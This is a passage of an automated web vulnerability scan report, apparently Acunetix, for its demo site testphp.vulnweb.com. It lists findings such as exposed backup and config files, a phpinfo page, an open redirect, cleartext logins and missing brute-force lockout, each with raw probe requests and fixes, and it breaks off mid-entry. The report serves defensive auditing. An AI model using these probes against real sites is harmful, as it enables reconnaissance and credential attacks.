Recommendation

Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

```
<Directory ~ "\.idea">  
  
Order allow,deny  
  
Deny from all  
  
</Directory>
```

References

[Apache Tips & Tricks: Deny access to some folders](http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/) (<http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/>)

Affected items

Web Server
Details
workspace.xml project file found at : /.idea/workspace.xml Pattern found:

```
<project version="4">
```

Request headers

```
GET /.idea/workspace.xml HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

! PHP errors enabled (AcuSensor)

Severity	Medium
Reported by module	

Description

The `display_errors` directive determines whether error messages should be sent to the browser. These messages frequently contain sensitive information about your web application environment, and should never be presented to untrusted sources.

`display_errors` is on by default.

Impact

Possible information disclosure.

Recommendation

You can disable `display_errors` from `php.ini` or `.htaccess`.

php.ini

```
display_errors = 'off'
log_errors = 'on'
```

.htaccess

```
php_flag display_errors off
php_flag log_errors on
```

Affected items

Web Server
Details
Current setting is : display_errors = 1
Request headers

! PHPinfo page found

Severity	Medium
Reported by module	Scripting (Text_Search_File.script)

Description

This script is using `phpinfo()` function. This function outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file from production systems.

References

[PHP phpinfo](http://www.php.net/manual/en/function.phpinfo.php) (<http://www.php.net/manual/en/function.phpinfo.php>)

Affected items

/secured/phpinfo.php
Details
Pattern found:
<pre><title>phpinfo()</title></pre>
Request headers
GET /secured/phpinfo.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! Source code disclosure

Severity	Medium
Reported by module	Scripting (Text_Search_File.script)

Description

Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

References

[Source Code Disclosure](http://www.imperva.com/resources/glossary?term=source_code_disclosure) (http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/index.bak
Details
This file was found using the pattern . Original filename: Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.re ...
```

Request headers

```
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures/wp-config.bak

Details

This file was found using the pattern .

Original filename:

Pattern found:

```
<?php

// ** MySQL settings ** //

define('DB_NAME', 'wp265as');    // The name of the database

define('DB_USER', 'root');        // Your MySQL username

define('DB_PASSWORD', ''); // ...and password

define('DB_HOST', 'localhost');   // 99% chance you won't need to change this value

define('DB_CHARSET', 'utf8');

define('DB_COLLATE', '');

// Change each KEY to a different unique phrase.  You won't have to remember the phrases later,
// so make them long and complicated.  You can visit http://api.wordpress.org/secret-key/1.1/
// to get keys generated for you, or just make something up.  Each key should have a different phrase.

define('AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix  = 'w ...
```

Request headers

```
GET /pictures/wp-config.bak HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

URL redirection

Severity	Medium
Reported by module	Scripting (XFS_and_Redir.script)

Description

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

Recommendation

Your script should properly sanitize user input.

References

[Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)

(https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)

[HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics](http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)

(http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)

Affected items

/redir.php
Details
URL encoded GET input r was set to http://www.vulnweb.com
Request headers
GET /redir.php?r=http://www.vulnweb.com HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! User credentials are sent in clear text

Severity	Medium
Reported by module	Crawler

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/login.php
Details
Form name: loginform Form action: http://testphp.vulnweb.com/userinfo.php Form method: POST
Form inputs: <ul style="list-style-type: none">• uname [Text]• pass [Password]

Request headers
GET /login.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: filelist;aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/signup.php
Details
Form name: form1 Form action: http://testphp.vulnweb.com/secured/newuser.php Form method: POST Form inputs: <ul style="list-style-type: none"> • uuname [Text] • upass [Password] • upass2 [Password] • urname [Text] • ucc [Text] • uemail [Text] • uphone [Text] • uaddress [TextArea] • signup [Submit]
Request headers
GET /signup.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/login.php Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

WS_FTP log file found

Severity	Medium
Reported by module	Scripting (WS_FTP_log_file.script)

Description

WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

References

[ws_ftp.log](http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0663.html) (<http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0663.html>)

Affected items

/pictures/WS_FTP.LOG
Details
Pattern found:
103.05.06 13:17
Request headers
GET /pictures//WS_FTP.LOG HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

Clickjacking: X-Frame-Options header missing

Severity	Low
Reported by module	Scripting (Clickjacking_X_Frame_Options.script)

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

[The X-Frame-Options response header](https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options) (<https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options>)
[Clickjacking](http://en.wikipedia.org/wiki/Clickjacking) (<http://en.wikipedia.org/wiki/Clickjacking>)
[OWASP Clickjacking](https://www.owasp.org/index.php/Clickjacking) (<https://www.owasp.org/index.php/Clickjacking>)
[Defending with Content Security Policy frame-ancestors directive](https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_Content_Security_Policy_frame-ancestors_directive) (https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_Content_Security_Policy_frame-ancestors_directive)
[Frame Buster Buster](http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed) (<http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed>)

Affected items

Web Server
Details
Request headers
GET / HTTP/1.1

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

❗ Hidden form input named price was found

Severity	Low
Reported by module	Crawler

Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

Impact

User may change price information before submitting the form.

Recommendation

Check if the script inputs are properly validated.

Affected items

/product.php
Details
Form name: f_addcart Form action: http://testphp.vulnweb.com/cart.php Form method: POST Form inputs: <ul style="list-style-type: none">• price [Hidden]• addcart [Hidden]
Request headers
GET /product.php?pic=2 HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/search.php Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

❗ Login page password-guessing attack

Severity	Low
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

[Blocking Brute Force Attacks](http://www.owasp.org/index.php/Blocking_Brute_Force_Attacks) (http://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)

Affected items

/userinfo.php
Details
The scanner tested 10 invalid credentials and no account lockout was detected.
Request headers
POST /userinfo.php HTTP/1.1 Content-Length: 28 Content-Type: application/x-www-form-urlencoded Referer: http://testphp.vulnweb.com Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* pass=rkjexMys&uname=CSwTg808

MySQL username disclosure

Severity	Low
Reported by module	Scripting (Text_Search_File.script)

Description

For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account.

When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.

Impact

This file may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Make sure the MySQL connection can be established and configure PHP not to display error messages.

Affected items

/Connections/DB_Connection.php
Details
Pattern found:
Access denied for user 'root'@'localhost' (using password: NO)

Request headers
GET /Connections/DB_Connection.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/secured/database_connect.php
Details
Pattern found:
Access denied for user 'wauser'@'localhost' (using password: NO)
Request headers
GET /secured/database_connect.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

Possible sensitive directories

Severity	Low
Reported by module	Scripting (Possible_Sensitive_Directories.script)

Description

A possible sensitive directory has been found. This directory is not directly linked from the website. This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.

Impact

This directory may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this directory or remove it from the website.

References

[Web Server Security and Database Server Security \(http://www.acunetix.com/websitesecurity/webserver-security/\)](http://www.acunetix.com/websitesecurity/webserver-security/)

Affected items

/admin

Details
Request headers
GET /admin HTTP/1.1 Accept: acunetix/wvs Range: bytes=0-99999 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
/CVS
Request headers
GET /CVS HTTP/1.1 Accept: acunetix/wvs Range: bytes=0-99999 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
/secured
Request headers
GET /secured HTTP/1.1 Accept: acunetix/wvs Range: bytes=0-99999 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

 Possible virtual host found

Severity	Low
Reported by module	Scripting (VirtualHost_Audit.script)

Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

Impact

Possible sensitive information disclosure.

Recommendation

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

References

Affected items

Web Server
Details
Virtual host: localhost Response: <div><pre><!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p> <p>For online documentation and support please refer to nginx.org.
 Commercial support is available at <a href</pre></div>
Request headers

 Broken links

Severity	Informational
Reported by module	Crawler

Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

Impact

Problems navigating the site.

Recommendation

Remove the links to this file or make it accessible.

Affected items

/privacy.php
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.
Request headers
GET /privacy.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/

Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/Details/color-printer/3

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /Mod_Rewrite_Shop/Details/color-printer/3/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/medias/css/main.css

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /medias/css/main.css HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/medias/js/common_functions.js

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /medias/js/common_functions.js HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/secured/office_files/filelist.xml

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

GET /secured/office_files/filelist.xml HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/secured/office.htm
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Email address found

Severity	Informational
Reported by module	Scanner

Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Impact

Email addresses posted on Web sites may attract spam.

Recommendation

Check references for details on how to solve this problem.

References

[Anti-spam techniques](https://en.wikipedia.org/wiki/Anti-spam_techniques) (https://en.wikipedia.org/wiki/Anti-spam_techniques)

Affected items

Web Server
Details
List of all email addresses found on this host. <ul style="list-style-type: none">• license@php.net /secured/• root@dessler.cse.buffalo.edu /secured/• root@localhost.localdomain /secured/• wasp@acunetix.com /• wvs@acunetix.com /, /Templates/
Request headers

Microsoft Office possible sensitive information

Severity	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.

Impact

Possible sensitive information disclosure that may help an attacker to conduct social engineering attacks.

Recommendation

Inspect the source code of this document and remove the sensitive information.

References

Affected items

/secured/office.htm
Details
Pattern found:
<pre><o:DocumentProperties> <o:Author>Acunetix</o:Author> <o:LastAuthor>Acunetix</o:LastAuthor> <o:Revision>1</o:Revision> <o:TotalTime>0</o:TotalTime> <o:Created>2005-04-05T11:44:00Z</o:Created> <o:LastSaved>2005-04-05T11:44:00Z</o:LastSaved> <o:Pages>1</o:Pages> <o:Words>5</o:Words> <o:Characters>30</o:Characters> <o:Company>Acunetix</o:Company> <o:Lines>1</o:Lines> <o:Paragraphs>1</o:Paragraphs> <o:CharactersWithSpaces>34</o:CharactersWithSpaces> <o:Version>11.6360</o:Version> </o:DocumentProperties></pre>
Request headers
GET /secured/office.htm HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

 Password type input with auto-complete enabled

Severity	Informational
Reported by module	Crawler

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:

```
<INPUT TYPE="password" AUTOCOMPLETE="off">
```

Affected items

/login.php
Details
Password type input(s): pass from form named loginform with action userinfo.php have autocomplete enabled.
Request headers
GET /login.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: filelist;aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/signup.php
Details
Password type input(s): upass,upass2 from form named form1 with action /secured/newuser.php have autocomplete enabled.
Request headers
GET /signup.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/login.php Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

 Possible internal IP address disclosure

Severity	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

Affected items

/404.php
Details
Pattern found:
192.168.0.28
Request headers
GET /404.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/pictures/ipaddresses.txt
Details
Pattern found:
192.168.0.26
Request headers
GET /pictures/ipaddresses.txt HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/secured/phpinfo.php
Details
Pattern found:
192.168.0.5
Request headers
GET /secured/phpinfo.php HTTP/1.1

Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Possible server path disclosure (Unix)

Severity	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

